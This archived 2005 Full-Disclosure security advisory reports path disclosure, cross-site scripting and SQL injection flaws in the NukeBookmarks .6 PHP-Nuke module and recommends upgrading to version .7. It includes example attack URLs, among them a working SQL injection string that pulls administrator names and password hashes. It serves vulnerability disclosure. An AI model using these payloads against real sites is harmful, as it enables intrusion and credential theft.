full-disclosure - ZH2005-03SA -- multiple vulnerabilities in NukeBookmarks .6

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <42459D1E.7040606@zone-h.org>
Date: Sat Mar 26 18:06:29 2005
From: astharot at zone-h.org (Astharot)
Subject: ZH2005-03SA -- multiple vulnerabilities in
	NukeBookmarks .6

ZH2005-03SA -- multiple vulnerabilities in NukeBookmarks .6

Author: Gerardo 'Astharot' Di Giacomo
Date: 26 March 2005

Product: NukeBookmarks .6
URL: http://nukebookmarks.sourceforge.net/

About the product
-----------------
>From the home page:
"Nuke Bookmarks is a module for PHP-Nuke that allows users to store
their own personal bookmarks on the server, much like Yahoo Bookmarks".

Vulnerabilities summary
-----------------------
1) Full path disclosure
2) Cross Site Scripting
3) SQL Injection

Details
-------
1) Full path disclosure
It's possible to retrieve the full installation URL of the website. In
"marks.php" file, there are some queries to the database. If some
parameters miss or some strange characters are submitted, the functions
that get results from the database will return an error.

Examples:
http://www.nukesite.com/modules.php?name=Bookmarks&file=marks
http://www.nukesite.com/modules.php?name=Bookmarks&file=marks&category=1'

2) Cross Site Scripting
Almost all of the variables supplied by the user aren't checked and
sanitized. It's possible to inject HTML code into page and do a cross
site scripting attack.

Examples:
http://www.nukesite.com/modules.php?name=Bookmarks&file=del_cat&catname=[htmlcode]
http://www.nukesite.com/modules.php?name=Bookmarks&file=del_mark&markname=[htmlcode]
http://www.nukesite.com/modules.php?name=Bookmarks&file=edit_cat&catname=[htmlcode]

http://www.nukesite.com/modules.php?name=Bookmarks&file=edit_cat&catcomment=[htmlcode]
http://www.nukesite.com/modules.php?name=Bookmarks&file=marks&catname=[htmlcode]
http://www.nukesite.com/modules.php?name=Bookmarks&file=uploadbookmarks&category=[htmlcode]

These other strings are potentially vulnerable but not exploitable:
http://www.nukesite.com/modules.php?name=Bookmarks&file=edit_mark&markname=[htmlcode]
http://www.nukesite.com/modules.php?name=Bookmarks&file=edit_mark&markurl=[htmlcode]
http://www.nukesite.com/modules.php?name=Bookmarks&file=edit_mark&markcomment=[htmlcode]

3) SQL Injection
It's possible to get any content from the database by exploiting a SQL
Injection vulnerability in "marks.php" file.

Example:
http://www.nukesite.com/modules.php?name=Bookmarks&file=marks&catname=1&category=-1/**/union/**/select%200,aid,0,pwd,0,0%20from%20nuke_authors

This example will get the list of PHPNuke authors and the relative
hashes of the passwords.

Solution
--------
Download the latest version of NukeBookmarks (.7).

Contacts
--------
astharot@...e-h.org
http://www.zone-h.org - http://www.zone-h.it

Original URL: http://zone-h.org/advisories/read/id=7356